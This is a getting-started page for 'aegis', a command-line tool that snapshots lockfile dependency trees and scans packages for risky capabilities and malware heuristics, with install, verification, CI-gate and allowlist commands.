Getting started

Install aegis and run your first local snapshot in under a minute.

Install#

go install github.com/qwexvf/aegis-cli/cmd/aegis@latest
aegis version

Requires Go 1.26 or later. Single all-in-one binary — every package manager wrapper and the full AST risk engine ship together.

Pre-built linux/amd64 release on Releases, signed with cosign keyless OIDC and SLSA build provenance:

cosign verify-blob \
  --certificate-identity-regexp 'https://github.com/qwexvf/aegis-cli/.github/workflows/release.yml.*' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  --certificate checksums.txt.pem \
  --signature   checksums.txt.sig \
  checksums.txt
sha256sum -c checksums.txt
gh attestation verify aegis_<version>_linux_amd64.tar.gz --owner qwexvf

For darwin / windows / linux-arm64, build from source with go install above — your local cgo toolchain handles tree-sitter transparently.

First snapshot#

These work locally, with no backend, no API key, no cloud account. Drop the binary on your $PATH and run them in any project with a supported lockfile.

# Snapshot the resolved dependency tree from the lockfile
aegis snapshot save                    # writes ./aegis.lock

# Walk every package's AST via tree-sitter; populate capability fingerprints
aegis snapshot enrich                  # fills capability scores

# Render
aegis snapshot show                    # direct deps
aegis snapshot show --all              # + transitive
aegis snapshot diff baseline.lock      # detect drift between snapshots

CI gate#

aegis ci --fail-on=block

Exits non-zero on any finding at or above the threshold. See Cookbook → CI gate for full pipeline examples.

Supported ecosystems#

Ecosystem	Lockfile	AST scanner
npm (JS / TS)	npm / pnpm / yarn / bun	`js` (tree-sitter-javascript)
PyPI (Python)	`requirements.txt`, `Pipfile.lock`, `poetry.lock`, `uv.lock`	`py` (tree-sitter-python)
RubyGems (Ruby)	`Gemfile.lock`	`ruby` (tree-sitter-ruby)
crates.io (Rust)	`Cargo.lock`	`rust` (tree-sitter-rust)
Go modules	`go.mod` / `go.sum`	`golang` (tree-sitter-go)

OSV.dev advisory lookup runs across every supported ecosystem; AST capability scanning runs across the five listed scanners; the malware-heuristic pass (URL scan, install hooks, typosquat, binary dropper, obfuscation) runs across all of them with per-ecosystem carve-outs.

Ad-hoc analysis#

aegis analyze lodash@4.17.21
aegis analyze --evidence ua-parser-js@0.7.29

# --local skips the registry fetcher and reads from disk.
# Useful for fixture-based testing and pre-publish self-checks.
aegis analyze rubygems/rest-client@1.6.13 \
  --local examples/incidents/rubygems/rest-client-1.6.13/

Shell completion#

source <(aegis completion bash)               # current shell
aegis completion zsh > "${fpath[1]}/_aegis"    # persistent zsh
aegis completion fish > ~/.config/fish/completions/aegis.fish

Allowlist#

aegis allowlist add lodash --capability=dynamic-eval --version='^4' \
    --reason='_.template uses Function() to compile templates'
aegis allowlist list

Where to next#

Command reference — full flag and exit-code listing
Configuration — env vars, allowlist YAML, CI auto-detection
Architecture — how the layers fit together